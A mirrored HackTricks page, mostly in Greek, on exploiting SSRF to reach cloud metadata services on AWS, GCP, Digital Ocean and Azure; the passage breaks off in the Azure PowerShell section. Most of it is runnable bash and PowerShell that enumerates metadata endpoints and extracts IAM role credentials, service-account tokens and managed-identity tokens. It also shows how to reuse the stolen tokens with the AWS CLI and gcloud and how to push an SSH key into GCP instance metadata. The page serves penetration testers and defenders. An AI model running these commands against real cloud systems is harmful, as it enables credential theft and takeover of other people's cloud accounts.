mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
610 lines
38 KiB
Markdown
610 lines
38 KiB
Markdown
# Cloud SSRF
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## AWS
|
||
|
||
### Κατάχρηση SSRF στο περιβάλλον AWS EC2
|
||
|
||
**Το metadata** endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτό. Είναι προσβάσιμο στη διεύθυνση: `http://169.254.169.254` ([πληροφορίες σχετικά με το metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||
|
||
Υπάρχουν **2 εκδόσεις** του metadata endpoint. Η **πρώτη** επιτρέπει την **πρόσβαση** στο endpoint μέσω **GET** αιτημάτων (έτσι οποιοδήποτε **SSRF μπορεί να το εκμεταλλευτεί**). Για την **έκδοση 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), πρέπει να ζητήσετε ένα **token** στέλνοντας ένα **PUT** αίτημα με ένα **HTTP header** και στη συνέχεια να χρησιμοποιήσετε αυτό το token για να αποκτήσετε πρόσβαση στο metadata με ένα άλλο HTTP header (έτσι είναι **πιο περίπλοκο να καταχραστεί** με ένα SSRF).
|
||
|
||
> [!CAUTION]
|
||
> Σημειώστε ότι αν η EC2 instance επιβάλλει το IMDSv2, [**σύμφωνα με τα έγγραφα**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT αιτήματος** θα έχει ένα **hop limit 1**, καθιστώντας αδύνατη την πρόσβαση στο EC2 metadata από ένα κοντέινερ μέσα στην EC2 instance.
|
||
>
|
||
> Επιπλέον, το **IMDSv2** θα **μπλοκάρει επίσης αιτήματα για την απόκτηση ενός token που περιλαμβάνουν το header `X-Forwarded-For`**. Αυτό γίνεται για να αποτραπεί η πρόσβαση από κακώς ρυθμισμένους αντίστροφους διακομιστές μεσολάβησης.
|
||
|
||
Μπορείτε να βρείτε πληροφορίες σχετικά με τα [metadata endpoints στα έγγραφα](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
|
||
```bash
|
||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||
URL="http://169.254.169.254/latest/meta-data"
|
||
|
||
aws_req=""
|
||
if [ "$(command -v curl)" ]; then
|
||
aws_req="curl -s -f -H '$HEADER'"
|
||
elif [ "$(command -v wget)" ]; then
|
||
aws_req="wget -q -O - -H '$HEADER'"
|
||
else
|
||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||
fi
|
||
|
||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||
|
||
echo ""
|
||
echo "Account Info"
|
||
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
||
|
||
echo ""
|
||
echo "Network Info"
|
||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||
echo "Mac: $mac"
|
||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "IAM Role"
|
||
eval $aws_req "$URL/iam/info"
|
||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||
echo "Role: $role"
|
||
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "User Data"
|
||
# Search hardcoded credentials
|
||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||
|
||
echo ""
|
||
echo "EC2 Security Credentials"
|
||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||
```
|
||
Ως ένα **δημόσια διαθέσιμο παράδειγμα IAM credentials** που έχει εκτεθεί, μπορείτε να επισκεφθείτε: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
Μπορείτε επίσης να ελέγξετε δημόσια **EC2 security credentials** στο: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
Μπορείτε στη συνέχεια να πάρετε **αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI**. Αυτό θα σας επιτρέψει να κάνετε **οτιδήποτε έχει άδειες** να κάνει αυτός ο ρόλος.
|
||
|
||
Για να εκμεταλλευτείτε τα νέα credentials, θα χρειαστεί να δημιουργήσετε ένα νέο προφίλ AWS όπως αυτό:
|
||
```
|
||
[profilename]
|
||
aws_access_key_id = ASIA6GG71[...]
|
||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||
```
|
||
Σημειώστε το **aws_session_token**, αυτό είναι απαραίτητο για να λειτουργήσει το προφίλ.
|
||
|
||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) μπορεί να χρησιμοποιηθεί με τα ανακαλυφθέντα διαπιστευτήρια για να μάθετε τα δικαιώματά σας και να προσπαθήσετε να κλιμακώσετε τα δικαιώματα.
|
||
|
||
### SSRF σε AWS ECS (Container Service) διαπιστευτήρια
|
||
|
||
**ECS**, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε τη δική σας υποδομή διαχείρισης κλάσματος, επειδή το ECS το διαχειρίζεται για εσάς. Εάν καταφέρετε να συμβιβάσετε την υπηρεσία που εκτελείται στο **ECS**, οι **τελικές μεταδεδομένων αλλάζουν**.
|
||
|
||
Εάν αποκτήσετε πρόσβαση στο _**http://169.254.170.2/v2/credentials/\<GUID>**_, θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να **βρείτε το \<GUID>**. Για να βρείτε το \<GUID> πρέπει να διαβάσετε τη μεταβλητή **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** μέσα στη μηχανή.\
|
||
Μπορείτε να είστε σε θέση να το διαβάσετε εκμεταλλευόμενοι μια **Path Traversal** στο `file:///proc/self/environ`\
|
||
Η αναφερόμενη διεύθυνση http θα πρέπει να σας δώσει το **AccessKey, SecretKey και token**.
|
||
```bash
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||
```
|
||
> [!NOTE]
|
||
> Σημειώστε ότι σε **ορισμένες περιπτώσεις** θα μπορείτε να έχετε πρόσβαση στην **EC2 metadata instance** από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το κοντέινερ μπορείτε να έχετε πρόσβαση τόσο στον ρόλο IAM του κοντέινερ όσο και στον ρόλο IAM του EC2.
|
||
|
||
### SSRF για AWS Lambda
|
||
|
||
Σε αυτή την περίπτωση οι **credentials αποθηκεύονται σε env variables**. Έτσι, για να έχετε πρόσβαση σε αυτές πρέπει να αποκτήσετε πρόσβαση σε κάτι όπως **`file:///proc/self/environ`**.
|
||
|
||
Το **όνομα** των **ενδιαφερόντων env variables** είναι:
|
||
|
||
- `AWS_SESSION_TOKEN`
|
||
- `AWS_SECRET_ACCESS_KEY`
|
||
- `AWS_ACCES_KEY_ID`
|
||
|
||
Επιπλέον, εκτός από τα IAM credentials, οι λειτουργίες Lambda έχουν επίσης **δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά**. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) και μπορεί να περιέχουν **ευαίσθητες** **πληροφορίες** (όπως μέσα στις **stageVariables**). Σε αντίθεση με τα IAM credentials, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||
|
||
> [!WARNING]
|
||
> Σημειώστε ότι οι **credentials της lambda** βρίσκονται μέσα στις **env variables**. Έτσι, αν η **στοίβα σφαλμάτων** του κώδικα lambda εκτυπώνει env vars, είναι δυνατόν να **εξαχθούν προκαλώντας ένα σφάλμα** στην εφαρμογή.
|
||
|
||
### SSRF URL για AWS Elastic Beanstalk
|
||
|
||
Ανακτούμε το `accountId` και την `region` από το API.
|
||
```
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
Στη συνέχεια, ανακτούμε το `AccessKeyId`, `SecretAccessKey` και `Token` από το API.
|
||
```
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
 
|
||
|
||
Στη συνέχεια, χρησιμοποιούμε τα διαπιστευτήρια με `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||
|
||
## GCP
|
||
|
||
Μπορείτε να [**βρείτε εδώ τα έγγραφα σχετικά με τα endpoints μεταδεδομένων**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||
|
||
### SSRF URL για το Google Cloud
|
||
|
||
Απαιτεί την HTTP κεφαλίδα **`Metadata-Flavor: Google`** και μπορείτε να αποκτήσετε πρόσβαση στο endpoint μεταδεδομένων με τις παρακάτω διευθύνσεις URL:
|
||
|
||
- http://169.254.169.254
|
||
- http://metadata.google.internal
|
||
- http://metadata
|
||
|
||
Ενδιαφέροντα endpoints για την εξαγωγή πληροφοριών:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
# Project attributes
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||
|
||
# /oslogin
|
||
# users
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
||
# groups
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
||
# security-keys
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
||
# authorize
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
||
|
||
# /instance
|
||
# Description
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||
# Hostname
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Image
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||
# Machine Type
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||
# Name
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||
# Tags
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# User data
|
||
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
||
# Network Interfaces
|
||
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
||
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||
echo " ============== "
|
||
done
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
# K8s Attributtes
|
||
## Cluster location
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
||
## Cluster name
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
||
## Os-login enabled
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
||
## Kube-env
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
||
## Kube-labels
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
||
## Kubeconfig
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
||
|
||
# All custom project attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
|
||
# All custom project attributes instance attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
```
|
||
Η Beta ΔΕΝ απαιτεί header αυτή τη στιγμή (ευχαριστώ Mathias Karlsson @avlidienbrunn)
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
> [!CAUTION]
|
||
> Για να **χρησιμοποιήσετε το εξαγόμενο token υπηρεσίας** μπορείτε απλά να κάνετε:
|
||
>
|
||
> ```bash
|
||
> # Via env vars
|
||
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||
> gcloud projects list
|
||
>
|
||
> # Via setup
|
||
> echo "<token>" > /some/path/to/token
|
||
> gcloud config set auth/access_token_file /some/path/to/token
|
||
> gcloud projects list
|
||
> gcloud config unset auth/access_token_file
|
||
> ```
|
||
|
||
### Προσθέστε ένα κλειδί SSH
|
||
|
||
Εξαγάγετε το token
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
Ελέγξτε το πεδίο εφαρμογής του token (με την προηγούμενη έξοδο ή εκτελώντας το παρακάτω)
|
||
```bash
|
||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
Τώρα σπρώξτε το κλειδί SSH.
|
||
```bash
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
### Cloud Functions
|
||
|
||
Το endpoint μεταδεδομένων λειτουργεί με τον ίδιο τρόπο όπως στα VMs αλλά χωρίς ορισμένα endpoints:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
|
||
# /instance
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# Auto MTLS config
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
```
|
||
## Digital Ocean
|
||
|
||
> [!WARNING]
|
||
> Δεν υπάρχουν πράγματα όπως οι AWS Roles ή οι GCP service account, οπότε μην περιμένετε να βρείτε διαπιστευτήρια bot μεταδεδομένων
|
||
|
||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||
```
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
## Azure
|
||
|
||
### Azure VM
|
||
|
||
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||
|
||
- **Πρέπει** να περιέχει την κεφαλίδα `Metadata: true`
|
||
- Δεν πρέπει **να** περιέχει μια κεφαλίδα `X-Forwarded-For`
|
||
|
||
> [!TIP]
|
||
> Ένα Azure VM μπορεί να έχει συνδεδεμένη 1 διαχειριζόμενη ταυτότητα συστήματος και πολλές διαχειριζόμενες ταυτότητες χρηστών. Αυτό σημαίνει βασικά ότι μπορείτε να **παριστάνετε όλες τις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες σε ένα VM**.
|
||
>
|
||
> Όταν ζητάτε ένα διακριτικό πρόσβασης στο σημείο μεταδεδομένων, από προεπιλογή η υπηρεσία μεταδεδομένων θα χρησιμοποιήσει τη **διαχειριζόμενη ταυτότητα που έχει ανατεθεί στο σύστημα** για να δημιουργήσει το διακριτικό, εάν υπάρχει κάποια διαχειριζόμενη ταυτότητα που έχει ανατεθεί στο σύστημα. Σε περίπτωση που υπάρχει μόνο **ΜΙΑ διαχειριζόμενη ταυτότητα που έχει ανατεθεί από τον χρήστη**, τότε αυτή θα χρησιμοποιηθεί από προεπιλογή. Ωστόσο, σε περίπτωση που δεν υπάρχει διαχειριζόμενη ταυτότητα που έχει ανατεθεί από το σύστημα και υπάρχουν **πολλές διαχειριζόμενες ταυτότητες που έχουν ανατεθεί από τον χρήστη**, τότε η υπηρεσία μεταδεδομένων θα επιστρέψει ένα σφάλμα που υποδεικνύει ότι υπάρχουν πολλές διαχειριζόμενες ταυτότητες και είναι απαραίτητο να **καθορίσετε ποια να χρησιμοποιήσετε**.
|
||
>
|
||
> Δυστυχώς, δεν μπόρεσα να βρω κανένα σημείο μεταδεδομένων που να υποδεικνύει όλες τις ΜΙ που έχει συνδεδεμένες ένα VM, οπότε η ανακάλυψη όλων των ανατεθειμένων διαχειριζόμενων ταυτοτήτων σε ένα VM θα μπορούσε να είναι μια δύσκολη εργασία από την προοπτική μιας Red Team.
|
||
>
|
||
> Επομένως, για να βρείτε όλες τις συνδεδεμένες ΜΙ μπορείτε να κάνετε:
|
||
>
|
||
> - Λάβετε **συνδεδεμένες ταυτότητες με az cli** (αν έχετε ήδη παραβιάσει έναν κύριο στο Azure tenant)
|
||
>
|
||
> ```bash
|
||
> az vm identity show \
|
||
> --resource-group <rsc-group> \
|
||
> --name <vm-name>
|
||
> ```
|
||
>
|
||
> - Λάβετε **συνδεδεμένες ταυτότητες** χρησιμοποιώντας τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή στα μεταδεδομένα:
|
||
>
|
||
> ```bash
|
||
> export API_VERSION="2021-12-13"
|
||
>
|
||
> # Λάβετε διακριτικό από τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή
|
||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||
> | jq -r '.access_token')
|
||
>
|
||
> # Λάβετε τις απαραίτητες λεπτομέρειες
|
||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||
>
|
||
> # Δοκιμάστε να λάβετε τις συνδεδεμένες ΜΙ
|
||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||
> ```
|
||
>
|
||
> - **Λάβετε όλες** τις καθορισμένες διαχειριζόμενες ταυτότητες στο tenant και **brute force** για να δείτε αν κάποια από αυτές είναι συνδεδεμένη στο VM:
|
||
>
|
||
> ```bash
|
||
> az identity list
|
||
> ```
|
||
|
||
> [!CAUTION]
|
||
> Στις αιτήσεις διακριτικών χρησιμοποιήστε οποιαδήποτε από τις παραμέτρους `object_id`, `client_id` ή `msi_res_id` για να υποδείξετε τη διαχειριζόμενη ταυτότητα που θέλετε να χρησιμοποιήσετε ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Αν καμία, θα χρησιμοποιηθεί η **διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή**.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Bash"}}
|
||
```bash
|
||
HEADER="Metadata:true"
|
||
URL="http://169.254.169.254/metadata"
|
||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||
|
||
echo "Instance details"
|
||
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
||
|
||
echo "Load Balancer details"
|
||
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
||
|
||
echo "Management Token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
||
|
||
echo "Graph token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
||
|
||
echo "Vault token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
||
|
||
echo "Storage token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="PS"}}
|
||
```bash
|
||
# Powershell
|
||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||
## User data
|
||
